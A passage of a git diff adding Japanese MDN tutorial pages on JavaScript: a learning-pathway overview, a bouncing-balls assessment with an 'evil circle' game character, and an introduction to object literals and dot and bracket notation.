class="in-page-callout webdev"> +<h3 id="フロントエンドの_Web_開発者になりたいですか？">フロントエンドの Web 開発者になりたいですか？</h3> + +<p>目標に向かって頑張るために必要な情報をまとめたコースをご用意しました。</p> + +<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Get started</a></p> +</div> + +<h2 id="Learning_pathway" name="Learning_pathway">学習の道筋</h2> + +<p><span id="result_box" lang="ja"><span>JavaScript は </span></span><a href="/docs/Learn/HTML">HTML </a><span lang="ja"><span>や </span></span><a href="/docs/Learn/CSS">CSS</a><span lang="ja"><span> などの関連技術よりも</span></span><span id="result_box" lang="ja"><span>きっと</span></span><span lang="ja"><span>学ぶのが難しいでしょう。</span><span>JavaScript を習得する前に、まずこれらの 2 つの技術、そしておそらく他の技術を熟知しておくことを強くおすすめします。先ず次のモジュールを実施してください :</span></span></p> + +<ul> + <li><a href="/ja/docs/Learn/Getting_started_with_the_web">ウェブ入門</a></li> + <li><a href="/ja/docs/Web/Guide/HTML/Introduction">HTML 入門</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a></li> +</ul> + +<p>以前の他の言語での経験は手助けになるでしょう。</p> + +<p><span class="short_text" id="result_box" lang="ja"><span>JavaScript の基本を</span></span><span class="short_text" lang="ja"><span>よく理解できたら、より高度なトピックについて学ぶことができることでしょう。高度なトピックは例えば次のものです：</span></span></p> + +<ul> + <li><a href="/ja/docs/Web/JavaScript/Guide">JavaScript ガイド</a>で紹介した JavaScript 詳細</li> + <li><a href="/ja/docs/Web/API">Web <abbr title="application programming interface">APIs</abbr></a></li> +</ul> + +<h2 id="Modules" name="Modules">モジュール</h2> + +<p>このトピックでは次のモジュールが含まれます。これらは推奨順です。</p> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a></dt> + <dd><span id="result_box" lang="ja"><span>最初の JavaScript の項目では、まず JavaScript を書く初めての実践的な体験に進む前に、「 JavaScript とは何か」、「どのように見えるか」、「何ができるのか？」などの基本的な質問に答えます。その後、変数、文字列、数値、配列などの JavaScript の主要機能について詳しく説明します。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a></dt> + <dd><span id="result_box" lang="ja"><span>このモジュールでは、条件文、ループ、関数、イベントなど一般的に発生するコードブロックの種類に注目し、JavaScript の重要な基本機能をすべてカバーしていきます。これまでにみたか</span></span><span lang="ja"><span>、どこかで目にしたことでしょうが、ここではすべて明示的に説明を行います。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Objects">JavaScript オブジェクトの紹介</a></dt> + <dd><span id="result_box" lang="ja"><span>JavaScript では、文字列や配列などの JavaScript のコア機能から、JavaScript の上に構築されたブラウザー API まで、ほとんどのものがオブジェクトです。</span> <span>関連する関数や変数を効率的なパッケージにカプセル化して独自のオブジェクトを作成することもできます。</span> <span>JavaScript のオブジェクト指向の性質は、言語に関する知識をさらに深め、より効率的なコードを書く場合に理解するために重要です。それゆえ、このモジュールを用意しました。</span> <span>ここではオブジェクトの理論と構文を詳しく説明し、独自のオブジェクトを作成する方法を見て、JSON のデータとその使い方を説明します。</span></span></dd> + <dt><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Asynchronous">非同期 JavaScript</a></dt> + <dd> + <p>このモジュールでは、非同期の JavaScript を見ていき、これがなぜ重要であるかや、サーバーからのリソース取得といった、ブロッキングの可能性のある操作を効率的に扱う方法を見ていきます。</p> + </dd> + <dt><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs">クライアントサイドの Web API</a></dt> + <dd><span id="result_box" lang="ja"><span>ウェブサイトやアプリケーション用のクライアントサイド JavaScript を記述するときは、API を使い始める前に、サイトが実行されているブラウザーやオペレーティングシステムのさまざまな側面、または他のウェブサイトやサービスのデータを操作するためのインターフェイスといったものがあるので、すぐには進みません。このモジュールでは、API が何であるか、開発作業で頻繁に出くわす最も一般的な API を使用する方法について説明します。</span></span></dd> +</dl> + +<h2 id="Solving_common_JavaScript_problems" name="Solving_common_JavaScript_problems">よくある JavaScript の問題を解決する</h2> + +<p><a href="/ja/docs/Learn/JavaScript/Howto">よくある JavaScript の問題を解決する</a> では、<span id="result_box" lang="ja"><span>ウェブページの作成時に、とてもよくある問題を解決するために JavaScript を使用する方法を説明するコンテンツのセクションへのリンクを提供します。</span></span></p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Web/JavaScript">MDN の JavaScript</a></dt> + <dd> + <div id="gt-res-content"> + <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"> + <div id="tts_button"><span id="result_box" lang="ja"><span>MDN の主要な JavaScript ドキュメントの主要なエントリポイントです。ここでは、JavaScript 言語のあらゆる側面に関する広範なリファレンスドキュメント、および経験豊富な JavaScripter を対象とした高度なチュートリアルがあります。</span></span></div> + </div> + </div> + </dd> +</dl> + +<dl> + <dt><a href="https://learnjavascript.online/">JavaScript の学習</a></dt> + <dd>ウェブ開発者になりたい人向けのすばらしいリソース — JavaScript をインタラクティブな環境と、短いレッスンやインタラクティブなテスト、自動化された評価つきで学ぶことができる。最初の 40 レッスンは無料で、完全なコースは少額の支払いで利用できる。</dd> +</dl> + +<p><strong><a href="https://exlskills.com/learn-en/courses/javascript-fundamentals-basics_javascript">JavaScript Fundamentals on EXLskills</a></strong></p> + +<dl> + <dd>JS でアプリケーションを構築するために必要なすべてを紹介する EXLskills オープンソースコースで、無料で JavaScript を学んでください。</dd> + <dt><a href="https://www.youtube.com/user/codingmath">Coding math</a></dt> + <dd><a href="https://twitter.com/bit101">Keith Peters</a> による、有能なプログラマーを理解するのに必要な数学の優れたビデオチュートリアルのシリーズ。</dd> +</dl> diff --git a/files/ja/learn/javascript/objects/adding_bouncing_balls_features/index.html b/files/ja/learn/javascript/objects/adding_bouncing_balls_features/index.html new file mode 100644 index 0000000000..8390797c5b --- /dev/null +++ b/files/ja/learn/javascript/objects/adding_bouncing_balls_features/index.html @@ -0,0 +1,223 @@ +--- +title: バウンスボールに機能を追加する +slug: Learn/JavaScript/Objects/Adding_bouncing_balls_features +tags: + - Assessment + - Beginner + - CodingScripting + - JavaScript + - Learn + - OOJS + - Object-Oriented + - Objects + - 'l10n:priority' +translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">この評価では、前の記事のバウンスボールのデモを出発点として用い、いくつかの面白い機能を新たに追加してもらいます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件：</th> + <td>この評価を試みる前に、このモジュールのすべての記事を学習済みであること。</td> + </tr> + <tr> + <th scope="row"> + <p>目的：</p> + </th> + <td>JavaScript オブジェクトとオブジェクト指向のインスタンス生成を理解しているかテストする。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価をスタートするためには、私たちの最新記事からローカル PC の新しいディレクトリーに<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index-finished.html"> index-finished.htm</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">main-finshed.js</a> をコピーします。</p> + +<p>または、あなたの評価のために、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://glitch.com/">Glitch</a> を使うことができます。これらのオンラインエディターに HTML、CSS や JavaScript を貼り付けることができます。もしあなたが使用しているオンラインエディタが、別々の JavaScript/CSS のパネルを持っていない場合は、HTML内の <code><script></code>/<code><style></code> 要素を使って、インラインで書くことができます。</p> + +<div class="note"> +<p><strong>注</strong>: もし行き詰った場合は、サポートを依頼してください。このページの下部にある{{anch("Assessment or further help", "評価とさらなる支援")}}セクションを参照してください。</p> +</div> + +<h2 id="Hints_and_tips" name="Hints_and_tips">ヒントと tips</h2> + +<p>始める前にいくつかの助言です。</p> + +<ul> + <li>この評価はかなり難しいです。コーディングを始める前に評価全体を読み、各ステップをゆっくりと注意深く行ってください。</li> + <li>それぞれのステージを作業した後のデモを、別々のコピーとして保管しておけば、後で困ったときに参照することができます。</li> +</ul> + +<h2 id="Project_brief" name="Project_brief">プロジェクト概要</h2> + +<p>このバウンスボールのデモは面白いですが、ここではもう少しインタラクティブにするため、バウンスボールを捕まえたら食べてしまう、ユーザー制御された邪悪な円を追加します。また、<span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>バウンスボールや</span>邪悪な<span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>円が継承できる</span>一般的な <code>Shape()</code> オブジェクトを作ることで、<span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>あなたのオブジェクト構築スキルも</span>試してみましょう。最後に、残ったボールが数えられるスコアカウンターも追加してみましょう。</p> + +<p>次のスクリーンショットでは、完成したプログラムがどのように見えるかのイメージを掴めるでしょう： </p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13875/bouncing-evil-circle.png" style="display: block; margin: 0 auto;"></p> + +<ul> +</ul> + +<p>さらにヒントを差し上げます。<a href="http://mdn.github.io/learning-area/javascript/oojs/assessment/">完成デモ</a>を見てみましょう。（ソースコードをチラ見しないように！）</p> + +<h2 id="Steps_to_complete" name="Steps_to_complete">完成までの手順</h2> + +<p>次のセクションでは、必要な操作について説明します。</p> + +<h3 id="Creating_our_new_objects" name="Creating_our_new_objects">新しいオブジェクトを作る</h3> + +<p>まず初めに、既存の <code>Ball()</code> コンストラクターを <code>Shape()</code> コンストラクターに変更し、新しい <code>Ball()</code> コンストラクターを追加します：</p> + +<ol> + <li><code>Shape()</code> コンストラクターは、<code>x</code>、<code>y</code>、<code>velX</code>、および、<code>velY</code> プロパティを、<code>Ball()</code> コンストラクターが最初に行ったのと同じ方法で定義する必要がありますが、色とサイズのプロパティは指定しません。</li> + <li>また、新しいプロパティとして、ボールが存在するか（邪悪な円に食べられていないか）どうかを追跡するために使用される <code>exists</code> を新しく定義する必要があります。これはブール値 (<code>true</code>/<code>false</code>) である必要があります。</li> + <li><code>Ball()</code> コンストラクターは、<code>x</code>、<code>y</code>、<code>velX</code>、<code>velY</code>、および <code>exists</code> プロパティを <code>Shape()</code> コンストラクターから継承する必要があります。</li> + <li>また、元の <code>Ball()</code> コンストラクターのように、<code>color</code> と <code>size</code> プロパティを定義する必要があります。</li> + <li><code>Ball()</code> コンストラクターの <code>prototype</code> と <code>constructor</code> を適切に設定してください。</li> +</ol> + +<p>ボールの <code>draw()</code>、<code>update()</code>、と <code>collisionDetect()</code> メソッドの定義は、前とまったく同じである必要があります。</p> + +<p>また、<code>new Ball() ( ... )</code> <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>コンストラクターの呼び出し</span>に新しいパラメーターを追加する必要があります。<code>exists</code> パラメーターは 5番目のパラメーターにする必要があり、<code>true</code> の値を指定する必要があります。</p> + +<p>この時点で、コードをリロードしてみてください。再設計されたオブジェクトで、前と全く同じように動作するはずです。</p> + +<h3 id="Defining_EvilCircle" name="Defining_EvilCircle">EvilCircle() の定義</h3> + +<p>さあ、悪者 <code>EvilCircle()</code> の出番です！ 私たちのゲームに邪悪な円は1つしか登場しませんが、練習のためにあえて、<code>Shape()</code> から継承するコンストラクターを使用して定義します。後で、他のプレイヤーによって制御される円、あるいは、コンピューター制御の別の邪悪な円をいくつか加えたいと思うかもしれません。おそらく、あなたは単一の邪悪な円の世界を引き継いでいくつもりはないでしょうが、今回の評価のためにはこれで十分です。</p> + +<p><code>EvilCircle()</code> コンストラクターは、<code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code> と <code>exists</code> を <code>Shape()</code> から継承しますが、<code>velX</code> と <code>velY</code> は常に20です。</p> + +<p>これは <code>Shape.call(this, x, y, 20, 20, exists);</code>のように呼び出します。</p> + +<p>次のように、独自のプロパティも定義する必要があります：</p> + +<ul> + <li><code>color</code> — <code>'white'</code></li> + <li><code>size</code> — <code>10</code></li> +</ul> + +<p>ここでも、継承したプロパティをコンストラクターのパラメーターとして定義し、<code>prototype</code> と <code>constractor</code> のプロパティを正しく設定することを忘れないでください。</p> + +<h3 id="Defining_EvilCircles_methods" name="Defining_EvilCircles_methods">EvilCircle() のメソッドの定義</h3> + +<p><code>EvilCircle()</code> には、以下に示す 4 つのメソッドがあります。</p> + +<h4 id="draw" name="draw"><code>draw()</code></h4> + +<p>このメソッドは、<code>Ball()</code> の <code>draw()</code> メソッドと同じく、キャンバス上にオブジェクトインスタンスを描画するという目的を持ちます。とても良く似た動作をするので、<code>Ball.prototype.draw</code> の定義をコピーすることから始めます。次に、以下の変更を行います。</p> + +<ul> + <li>邪悪な円は塗りつぶしせず、枠線（ストローク）だけを持たせたいと思います。そのために、<code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> と <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> を <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/strokeStyle">strokeStyle</a></code> と <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/stroke">stroke()</a></code> に変更します。</li> + <li>また、線を少し太くすれば、邪悪な円が少し分かりやすくなります。これは、<code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> 呼び出しの後のどこかで <code><a href="/ja/docs/Web/API/CanvasRenderingContext2D/lineWidth">lineWidth</a></code> の値（3で十分でしょう）を設定することで実現できます 。</li> +</ul> + +<h4 id="checkBounds" name="checkBounds"><code>checkBounds()</code></h4> + +<p>このメソッドは、<code>Ball()</code>の <code>update()</code> 関数の最初の部分と同じ機能、すなわち、邪悪な円が画面の端から出そうになったら出ないようにする機能を持ちます。先ほどと同様に、<code>Ball.prototype.update</code> 定義をほぼコピーするだけでできますが、いくつか変更する必要があります。</p> + +<ul> + <li>最後の 2行を削除します。後で見られるように、別の方法で邪悪な円を動かすので、フレーム毎に邪悪な円の位置を自動的に更新する必要はありません。</li> + <li>テストが true を返す場合、<code>if()</code> ステートメントの内部で<code>velX</code>/<code>velY</code> を更新したくありません。代わりに <code>x</code>/<code>y</code> の値を変更して、邪悪な円が画面上に少し跳ね返ってくるようにします。邪悪な円の size プロパティを（必要に応じて）増減させることは理にかなっています。</li> +</ul> + +<h4 id="setControls" name="setControls"><code>setControls()</code></h4> + +<p>このメソッドは、<code>onkeydown</code> イベントリスナーを <code>window</code> オブジェクトに追加し、特定のキーボードキーが押されたときに、邪悪な円を動かします。次のコードブロックは、メソッド定義の中に置く必要があります。</p> + +<pre class="brush: js notranslate">let _this = this; +window.onkeydown = function(e) { + if (e.key === 'a') { + _this.x -= _this.velX; + } else if (e.key === 'd') { + _this.x += _this.velX; + } else if (e.key === 'w') { + _this.y -= _this.velY; + } else if (e.key === 's') { + _this.y += _this.velY; + } + }</pre> + +<p>キーが押されると、イベントオブジェクトの <a href="/ja/docs/Web/API/KeyboardEvent/key">key</a> プロパティを調べて、どのキーが押されているかを確認します。押されたキーが、指定された4つのキーの 1 つである場合、邪悪な円は左/右/上/下に移動します。</p> + +<p>おまけとして、<code>let _this = this;</code>をこの場所で設定しなければならない理由を教えてください。関数スコープと関係があります。</p> + +<h4 id="collisionDetect" name="collisionDetect"><code>collisionDetect()</code></h4> + +<p>このメソッドは <code>Ball()</code>の <code>collisionDetect()</code>メソッドと非常によく似た方法で動作するので、そのコピーをこの新しいメソッドの基礎として使用することができます。しかし、いくつかの違いがあります。</p> + +<ul> + <li>外側の <code>if</code> ステートメントでは、反復処理中のボールが、チェックを行っているボールと同じであるかをチェックする必要はなくなりました。なぜなら、それは邪悪な円であって、ボールではないからです！ その代わりに、チェックされているボールが存在するかどうかを確認（どのプロパティでこれを行うことができるでしょうか？）するテストを行う必要があります。存在しなければ、それはすでに邪悪な円によって食べられているので、再度チェックする必要はありません。</li> + <li>内部の <code>if</code> ステートメントでは、衝突が検出されたときにオブジェクトの色を変更する必要がなくなりました。その代わりに、邪悪な円と衝突するボールをもう存在しないように設定します（どうやって実行すると思いますか？）。</li> +</ul> + +<h3 id="Bringing_the_evil_circle_into_the_program" name="Bringing_the_evil_circle_into_the_program">プログラムに邪悪な円を持ち込む</h3> + +<p>さて、邪悪な円を定義したので、実際にそれをシーンに表示させる必要があります。そのためには、<code>loop()</code> 関数をいくつか変更する必要があります。</p> + +<ul> + <li>まず、（必要なパラメーターを指定して）新しい邪悪な円オブジェクトインスタンスを作成し、その <code>setControls()</code> メソッドを呼び出します。これらの 2 つの処理は一度だけ実行すればよく、ループの繰り返し毎に行う必要はありません。</li> + <li>すべてのボールをループして、ボールが存在する場合にのみ、それぞれの <code>draw()</code>、<code>update()</code>、<code>collisionDetect()</code> が呼び出されるようにします。</li> + <li>ループの各繰り返しで、邪悪な円インスタンスの <code>draw()</code>、<code>checkBounds()</code>、および <code>collisionDetect()</code>メソッドを呼び出します。</li> +</ul> + +<h3 id="Implementing_the_score_counter" name="Implementing_the_score_counter">スコアカウンターの実装</h3> + +<p>スコアカウンターを実装するには、次の手順に従います。</p> + +<ol> + <li>HTML ファイルの{{HTMLElement("h1")}}要素の直下に、"Ball count:" というテキストを含む{{HTMLElement( "p")}}要素を追加します。</li> + <li>あなたの CSS ファイルに、次のスタイルを追加します： + <pre class="brush: css notranslate">p { + position: absolute; + margin: 0; + top: 35px; + right: 5px; + color: #aaa; +}</pre> + </li> + <li>JavaScript では、次の更新を行います： + <ul> + <li>段落への参照を格納する変数を作成します。</li> + <li>何らかの方法で画面上のボールの数をカウントしてください。</li> + <li>ボールをシーンに追加するたびにカウントを増加させ、更新されたボールの数を表示します。</li> + <li>邪悪な円がボールを食べる（存在を消す）たびにカウントを減らし、更新されたボールの数を表示します。</li> + </ul> + </li> +</ol> + +<h2 id="Assessment_or_further_help" name="Assessment_or_further_help">評価とさらなる支援</h2> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>.</li> + <li>Write a post asking for assessment and/or help at the <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for Adding bouncing balls features".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics">JavaScript オブジェクトの基本</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS">初心者のためのオブジェクト指向 JavaScript</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">Object のプロトタイプ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">JavaScript での継承</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON">JSON データの操作</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_building_practice">オブジェクト作成の練習</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">バウンスボールに機能を追加する</a></li> +</ul> diff --git a/files/ja/learn/javascript/objects/basics/index.html b/files/ja/learn/javascript/objects/basics/index.html new file mode 100644 index 0000000000..0c97e391d3 --- /dev/null +++ b/files/ja/learn/javascript/objects/basics/index.html @@ -0,0 +1,277 @@ +--- +title: JavaScript オブジェクトの基本 +slug: Learn/JavaScript/Objects/Basics +tags: + - API + - Article + - Beginner + - CodingScripting + - JavaScript + - Syntax + - bracket notation + - dot notation + - instance + - object literal + - this + - オブジェクト + - 学習 + - 理論 +translation_of: Learn/JavaScript/Objects/Basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">この記事では、基本的な JavaScript オブジェクトの構文を学び、このコースで以前に見た一部の JavaScript の機能を復習し、すでに提供された多くの機能がオブジェクトであるという事実を再確認します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターを操作する能力、基本的な HTML と CSS に対する理解、基本的な JavaScript に親しんでいること（<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>と <a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>を参照してください）。</td> + </tr> + <tr> + <th scope="row">到達目標:</th> + <td>オブジェクト指向プログラミングについての基本的な理論、どのように JavaScript に関連するか、JavaScript の作業を始める方法を理解できること。</td> + </tr> + </tbody> +</table> + +<h2 id="Object_basics" name="Object_basics">オブジェクトの基本</h2> + +<p>オブジェクトとは関連のあるデータと機能の集合です。(機能はたいていは変数と関数で構成されており、オブジェクトの中ではそれぞれプロパティとメソッドと呼ばれます。) どんなものか例を見てみましょう。</p> + +<p>最初に <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> ファイルを手元にコピーしてください。このファイルにはちょっとした内容 — ソースコードを書き込むための {{HTMLElement("script")}} 要素が一つ含まれています。このファイルをオブジェクトを書くための元として使います。作業中は<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools#The_JavaScript_console">開発者ツールの JavaScript コンソール</a>を開いておいて、すぐにコマンドを入力できるようにしておくとよいでしょう。</p> + +<p>他の JavaScript の書き方と同じように、オブジェクトの生成は変数の宣言と初期化から始まります。手始めに、ファイルにある JavaScript コードの下に次のものを書いてみてください。それから保存して再読み込みしましょう。</p> + +<pre class="brush: js notranslate">const person = {};</pre> + +<p>ブラウザの <a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools#The_JavaScript_console">JavaScript コンソール</a>を開いて、<code>person</code> と入力して、 <kbd>Enter</kbd>/<kbd>Return</kbd> を押してください。以下のいずれかの行に似た結果が得られるはずです。</p> + +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="punctuation token">[</span>object Object<span class="punctuation token">]</span> +Object <span class="punctuation token">{</span> <span class="punctuation token">}</span> +<span class="punctuation token">{</span> <span class="punctuation token">}</span></code></pre> + +<p>よくやりましたね! まずは最初のオブジェクトができました。でもこれだけでは空のオブジェクトであまり役には立ちません。さらにオブジェクトを変更してみましょう。</p> + +<pre class="brush: js notranslate">const person = { + name: ['Bob', 'Smith'], + age: 32, + gender: 'male', + interests: ['music', 'skiing'], + bio: function() { + alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); + }, + greeting: function() { + alert('Hi! I\'m ' + this.name[0] + '.'); + } +}; +</pre> + +<p>保存して再読み込みした後で、JavaScript コンソールにいくつか入力してみましょう。</p> + +<pre class="brush: js notranslate">person.name +person.name[0] +person.age +person.interests[1] +person.bio() +person.greeting()</pre> + +<p>オブジェクトから、データと機能を追加することができました。これで簡単な書き方で情報が引き出せます。</p> + +<div class="note"> +<p><strong>注</strong>: もし動かないようなら、完成版のソースコードと見比べてみてください (完成版: <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> さらに<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">ライブ版もあります</a>) 。ライブ版は空白の画面ですが、それで OK です。また開発ツールを開いて上記のコマンドを入力してオブジェクトの構造を見てみます。</p> +</div> + +<p>さて、何が起きているのでしょうか。オブジェクトには複数のメンバーがあり、それぞれに名前がついていて(例えば上の例では <code>name</code> や <code>age</code>)、それぞれに値 (<code>['Bob', 'Smith']</code> や <code>32</code>) があります。それぞれの名前と値の組はカンマ ( , ) で区切られていて、名前と値はコロン ( : ) で区切られています。常にそのように書きます。</p> + +<pre class="brush: js notranslate">const objectName = { + member1Name: member1Value, + member2Name: member2Value, + member3Name: member3Value +}</pre> + +<p>メンバーの値はほとんど何でも大丈夫です。例えば、先ほどの例では文字列、数値、2 つの配列に 2 つの関数でした。最初の 4 つはデータ項目でそのオブジェクトの<strong>プロパティ</strong>と呼ばれます。後ろの 2 つはオブジェクトの持つデータを使用して何かをする関数でオブジェクトの<strong>メソッド</strong>と呼ばれます。</p> + +<p>このように記号を使って書くオブジェクトは後で出てくるクラスを使用して生成する方法と対比して<strong>オブジェクトリテラル</strong>と呼ばます。</p> + +<p>オブジェクトリテラルを使用してオブジェクトを生成する方法はとても一般的で、ある法則に則って構造化、関連付けられたデータをやり取りするときによく使います。(例えばサーバーにリクエストを送ったり、データベースに保存したり。) ある一つのオブジェクトを送るほうが複数の項目を何回かに分けて送るよりも効率的で、名前を用いて検索するときなどには、配列よりも扱いやすいときがあります。</p> + +<h2 id="Dot_notation" name="Dot_notation">ドットによる記述</h2> + +<p>先ほどの例では、オブジェクトのプロパティとメソッドに対して、<strong>ドット記法</strong>を用いてアクセスしました 。オブジェクト名 (person) は<strong>名前空間</strong>として機能します。オブジェクト内に<strong>カプセル化</strong>されたものにアクセスするには、まずこのオブジェクト名を入力する必要があります。次に、ドット ( . ) を書いて、それからアクセスしたい項目を記述します。項目になりうるのは、単純なプロパティの名前や、配列の要素や、そのオブジェクトのメソッドの 1 つへの呼び出しなどです。次に例を示します:</p> + +<pre class="brush: js notranslate">person.age +person.interests[1] +person.bio()</pre> + +<h3 id="Sub-namespaces" name="Sub-namespaces">サブ名前空間</h3> + +<p>オブジェクトの内部にさらにほかのオブジェクトを持つことも可能です。例えば、先の例で、<code>name</code> メンバーを、</p> + +<pre class="brush: js notranslate">name: ['Bob', 'Smith'],</pre> + +<p>以下のように変更してみましょう。</p> + +<pre class="brush: js notranslate">name : { + first: 'Bob', + last: 'Smith' +},</pre> + +<p>これで簡単に<strong>サブ名前空間</strong>を作り出すことができました。難しそうに聞こえるかもしれませんが、ただ単に項目をドットを用いて数珠つなぎにつないでいけばいいのです。コンソールで試してください。</p> + +<pre class="brush: js notranslate">person.name.first +person.name.last</pre> + +<p><strong>重要</strong>: この時点で下の書き方をしていたところは、以下のように変えなければなりません。</p> + +<pre class="brush: js notranslate">name[0] +name[1]</pre> + +<p>を、</p> + +<pre class="brush: js notranslate">name.first +name.last</pre> + +<p>のようにしなければ、メソッドが動かなくなってしまうでしょう。</p> + +<h2 id="Bracket_notation" name="Bracket_notation">角括弧による記述</h2> + +<p>オブジェクトのプロパティにアクセスするもう一つの手段として角括弧を用いた記法があります。</p> + +<pre class="brush: js notranslate">person.age +person.name.first</pre> + +<p>このように書く代わりに、</p> + +<pre class="brush: js notranslate">person['age'] +person['name']['first']</pre> + +<p>のように書きます。</p> + +<p>これは配列の添え字によく似ています。数字の代わりに、名前を用いて関連付けられたメンバーの値にアクセスするだけで、実はほとんど同じなのです。このようなオブジェクトを<strong>連想配列</strong>といい、配列が数字によって値を格納しているように、文字列によって値を格納しています。</p> + +<h2 id="Setting_object_members" name="Setting_object_members">オブジェクトメンバーの設定</h2> + +<p>今まではオブジェクトメンバーからの引き出す (<strong>取得する</strong>) 方法だけを見てきましたが、値を設定するメンバーを宣言することで、オブジェクトのメンバーに値を<strong>設定</strong> (更新) することもできます。(ドットを使用した書き方でも、角括弧を使用した書き方でも構いません。)</p> + +<pre class="brush: js notranslate">person.age = 45; +person['name']['last'] = 'Cratchit';</pre> + +<p>これらの行を入力してみて、実際に値が変わったか調べてみましょう。</p> + +<pre class="brush: js notranslate">person.age +person['name']['last']</pre> + +<p>メンバーの値を設定するのは存在するプロパティやメソッドの更新だけにはとどまりません。まったく新しいメンバーを追加することもできるのです。JS コンソールで次のものを試してみてください。</p> + +<pre class="brush: js notranslate">person['eyes'] = 'hazel'; +person.farewell = function() { alert("Bye everybody!"); }</pre> + +<p>新しいメンバーが追加されたことを確認してみましょう。</p> + +<pre class="brush: js notranslate">person['eyes'] +person.farewell()</pre> + +<p>角括弧での書き方の良いところは、動的にメンバーの値を設定できるだけでなく、メンバーの名前も追加できるところです。例えば、ユーザーの情報として 2 つのテキストフィールドに名前と値を入力してもらい、人により個別のデータを設定したいとします。そういった値を以下のように取得します。</p> + +<pre class="brush: js notranslate">let myDataName = nameInput.value; +let myDataValue = nameValue.value;</pre> + +<p>そうして、取得したメンバー名と値を次のように <code>person</code> オブジェクトに設定します。</p> + +<pre class="brush: js notranslate">person[myDataName] = myDataValue;</pre> + 